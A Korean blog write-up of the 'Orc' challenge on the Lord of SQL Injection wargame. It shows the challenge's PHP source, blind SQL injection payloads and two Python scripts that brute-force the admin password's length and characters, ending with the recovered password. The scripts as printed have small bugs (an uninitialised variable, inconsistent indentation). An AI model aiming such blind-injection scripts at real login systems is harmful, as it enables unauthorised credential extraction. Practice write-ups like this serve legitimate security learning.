vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • iconcahce
  • Windows Artifact
  • forensic artifacts
  • sql injection
  • forensic-cheatsheet
  • Los
  • File Execution
  • digital-forensics
  • trim
  • Digital Forensic
  • ssd
  • shellbag forensics
  • LNK FIile
  • shellbag
  • Thumbcache
  • Digital-Forensic
  • Artifacts
  • webhacking.kr
  • JavaScript

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS -rubiya : Orc

2020. 5. 8. 22:51

<코드 분석>

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

solve 주변을 보자. result의 pw 값이 get으로준 pw 값과 같으면 풀리는데, 이때 result 값은 admin의 값이다. 

윗 단락의 코드를 보면 여기서 정보를 뽑아내야 한다는 것을 알 수 있다. 실질적인 비밀번호를 알아내야 하는 것이기 때문에 pw 의 길이 + n번째 길이의 값 순서로 알아낼 수 있다.


<해설>

먼저 길이를 알아보자.

?pw='or length(pw)>0 %23   -> Hello admin 이 나온다.

?pw='or length(pw)<0 %23 -> 안나온다. 해당사항이 없는 것이다. 이를 이용하면 되겠다.

Python 코드를 통해서 구해보도록 하자.

import requests

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
PHPSESSID="본인의 PHPSESSID"

for i in range(0,100): #길이가 설마 100 넘겠어..?
	pay="?pw='or length(pw)="+str(i)+" %23"
    res=requests.post(url=url+pay, cookies=(dict(PHPSESSID=PHPSESSID)))
    if "Hello admin" in res.text:
    	print("found the length : "+str(i))
        break

원하는 길이는 8이다.

이제 각 길이별로 원하는 값인지 찾아보자. 이때 사용할 함수는 substr 함수랑 ascii(ord)함수이다.

substr: 문자열 분할해주는 함수. substr( str,a, b )  (str : 원하는 문자열 , a : 시작 인덱스 , b: 원하는 길이)

ascii : 문자열을 ascii 코드 값으로 변환해주는 함수.

?pw='or ascii(substr(pw, 1, 1))= 48 ->pw의 1번째 인덱스만 아스키값으로 변환 48이랑 비교

이것 또한 Python 으로 해보자.

import requests

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
PHPSESSID="본인의 PHPSESSID"

for i in range(1,9):
    print("i is : "+str(i))
    for j in range(48,128):
        payload="?pw='or ascii(substr(pw,"+str(i)+",1)="+str(j)+" %23"
        res=requests.post(url=url+payload,cookies=(dict(PHPSESSID=PHPSESSID)))
        if "Hello admin" in res.text:
            pw += chr(j)
            print("FOUND PW's "+str(i)+" word : "+pw)
            break


print("FINAL PW : "+pw)

 

 

 

pw : 095a9852

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS -rubiya : Wolfman  (0) 2020.05.13
LOS -rubiya : Wolfman  (0) 2020.05.13
LOS - rubiya : Goblin  (0) 2020.05.07
LOS -rubiya : Cobolt  (0) 2020.05.07
LOS - rubiya : Gremlin  (0) 2020.05.07
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS -rubiya : Wolfman
    • LOS -rubiya : Wolfman
    • LOS - rubiya : Goblin
    • LOS -rubiya : Cobolt
    vared
    vared

    티스토리툴바